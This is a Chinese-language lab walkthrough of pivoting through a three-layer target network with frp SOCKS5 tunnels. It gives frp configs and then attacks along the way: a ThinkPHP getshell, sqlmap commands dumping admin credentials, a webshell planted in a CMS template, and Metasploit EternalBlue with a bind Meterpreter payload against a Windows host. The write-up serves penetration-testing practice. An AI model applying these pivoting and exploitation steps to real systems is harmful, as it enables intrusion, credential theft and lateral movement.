frp代理转发

frp存在服务端(frps)与客户端(frpc), frps需要一直保持运行,转发方式通过客户端配置文件进行确定

一级代理

配置服务端

在服务端上传frp, 并配置frps.ini

1
2
3
[common]
bind_addr = 0.0.0.0 #服务端监听地址 默认0.0.0.0
bind_port = 7000 #服务端监听端口

启动服务端, 执行命令开启frps等待连接

1
./frps -c frps.ini

配置客户端(受控的靶机, 也就是拿到shell的target1)

在客户端上传frp, 并配置frpc.ini
(也就是上传frpc 和 frpc.ini)

1
2
3
4
5
6
7
[common]
server_addr = 192.168.1.129 # 指向frp服务端绑定的ip, 也就是攻击机kali
server_port = 7000 # 指向frp服务端绑定的端口

[socks5]
remote_port = 1080 # 代理所使用的端口,会被转发到服务端
plugin = socks5 # 代理的类型

启动客户端

1
2
chmod +x frpc
./frpc -c ./frpc.ini

二级代理

kali 的 1 网段通过代理连接到 target1 的22 网段, 现在需要通过通过kali的1网段, 连接到 target2 的33网段
那么就弄一个target1的 22网段 到target2 的33网段的代理
这样就实现了 kali的1网段 代理到target2 的33网段

kali的服务端依旧

1
2
3
[common]
bind_addr = 0.0.0.0 # 在服务端上绑定的ip
bind_port = 7000 # 在服务端上绑定的端口
1
./frps -c ./frps.ini

target1的客户端

1
2
3
4
5
6
7
8
9
10
11
12
[common]
tls_enable = true
server_addr = 192.168.1.129 # kali的frp服务端绑定的ip
server_port = 7000 # kali的frp服务端绑定的端口

[socks5_forward]
type = tcp # 所使用的协议类型
remote_port = 1080 # 要转发到的远程端口
# plugin = socks5 不能加上这个
# 相较于一级代理增加的配置
local_ip = 192.168.22.128 # 本地监听的ip地址(本地的ip)
local_port = 10808 # 要转发的本地端口
1
./frpc -c ./frpc.ini

target1的服务端frps.ini

1
2
3
[common]
bind_addr = 192.168.22.128 # target1上本地ip
bind_port = 7000 # target1的frp服务端绑定的端口
1
./frps -c ./frps.ini

target2的客户端frpc.ini

1
2
3
4
5
6
7
8
[common]
server_addr = 192.168.22.128 # 指向target1的服务端绑定的ip
server_port = 7000 # 指向target1的服务端绑定的端口

[socks5]
type = tcp
remote_port = 10808
plugin = socks5 # 代理的类型
1
./frpc -c ./frpc.ini

环境拓扑

1
2
3
4
攻击机kali: 192.168.1.129
Targ1 CentOS: 192.168.1.128 192.168.22.128
Targ2 Ubuntu: 192.168.22.129 192.168.33.128
Targ3 Windows: 192.168.33.33

主要是为了学习一下frp的代理, 所以比较简单

target1

访问80端口, tp5框架, 工具直接梭, getshell

蚁剑连接, 查看一下网络, 可以看到 22网段

image-20240917152041531

利用frp进行代理转发

在kali攻击机上启动 服务端

1
2
3
[common]
Bind_addr = 0.0.0.0
bind_port = 7000
1
./frps -c ./frps.ini

image-20240917152959858

启动客户端

1
2
3
4
5
6
7
[common]
server_addr = 192.168.1.130
server_port = 7000

[socks5]
remote_port = 1080
plugin = socks5

image-20240917153315401

1
2
chmod +x frpc
./frpc -c ./frpc.ini

可以看到服务端(kali) 显示连接成功

image-20240917153752042

现在已经在kali和target1之间搭建了一个SOCKS5代理服务

接下来就可以借助第三方工具,可以让计算机的其他应用使用这个socks5代理

比如sockscap , proxifier 或者linux上面的proxychains等

windows上面配置sockscap
image-20240917154444826

image-20240917154459531

现在就可以直接访问到 http://192.168.22.129/

image-20240917155038894

在kali上面使用proxychains, 编辑/etc/proxychains.conf , 将socks5代理服务器的地址指向frp服务端的地址

image-20240917155230028

执行命令在前面加上proxychains 便可以应用此socks5代理

然后浏览器上配置一下代理, kali的浏览器也可以访问到target2的网站了

image-20240917154733911

image-20240917155444192

target2

1
2
proxychains4 nmap 192.168.22.0/24   扫描一下具体的ip地址
proxychains4 nmap -Pn -sT 192.168.22.129 扫描一下开放的端口

访问80端口是给了提示进行sql注入

sqlmap跑

1
2
3
4
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --dbs
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -D bagecms --tables
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -D bagecms -T bage_admin --columns
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -D bagecms -T bage_admin -C username,password --dump

速度很快的就可以跑出来, 之前使用msf进行代理 跑sqlmap根本跑不出来

image-20240917161429606

image-20240917161810705

有了账号密码登录后台, 在模板里面写入一句话木马, 然后蚁剑连接,

sockscap里面配置好了代理, 把蚁剑的程序加上去, 就可以使用代理了

可以发现到33网段

image-20240917162448076

进行一个二级代理, 将33网段连接到kali的1网段

kali

1
2
3
[common]
bind_addr = 0.0.0.0
bind_port = 7000

target1客户端

1
2
3
4
5
6
7
8
9
10
[common]
tls_enable = true
server_addr = 192.168.1.129
server_port = 7000

[socks5_forward]
type = tcp
remote_port = 1080
local_ip = 192.168.22.128
local_port = 10808

target1服务端

1
2
3
[common]
bind_addr = 192.168.22.128
bind_port = 7000

target2 客户端

1
2
3
4
5
6
7
8
[common]
server_addr = 192.168.22.128
server_port = 7000

[socks5]
type = tcp
remote_port = 10808
plugin = socks5
1
2
3
4
5
6
kali-->    ./frps -c ./frps.ini

target1--> ./frpc -c ./frpc.ini
target1--> ./frps -c ./frps.ini

target2--> ./frpc -c ./frpc.ini

开始这样做的时候一直 显示是这个连接, 按理应该是连接到 [socks5],
而且proxychains nmap -Pn -sT 192.168.33.33扫描端口也扫不出, 都是没反应的, 显然是没能成功的代理到33网段

image-20240917205952931

卡了好久, 后面就尝试先让 target1 连上 target2 , 然后再kali连target1,

1
2
3
4
5
target1 --> ./frps -c ./frps.ini
target2 --> ./frpc -c ./frpc.ini

kali --> ./frps -c ./frps.ini
target1 --> ./frpc -c ./frpc.ini

测试扫描一下端口, 有反应, 说明连上了 (也有点懵, 不知道为什么之前那样连不上, 看其他人的博客是那样连上去的啊)

1
proxychains nmap -Pn -sT 192.168.33.33

image-20240917205556773

target3

用proxychains 打开msf

1
proxychains msfconsole

打永恒之蓝正向连接的payload

1
2
3
4
5
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
options
run

可以打通

meterpreter终端 倒是可以执行一下命令啥的, 但是输入 shell 好像进不去shell, 不太稳定还是干嘛

image-20240917212025790

image-20240917212121553

1
2
还有点奇怪的是不知道为什么kali的地址莫名奇妙的变成了 192.168.1.129, 但是之前的kali的地址是 192.168.1.130
所以 proxychains配置文件里面的地址还写的是 192.168.1.130 也能打出来, 将地址改成了192.168.1.129, 也是一样的结果, 也没啥变化, 有点不理解
1
2
参考文章:
https://thnpkm.github.io/posts/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/%E4%B8%89%E5%B1%82%E9%9D%B6%E6%9C%BAfrp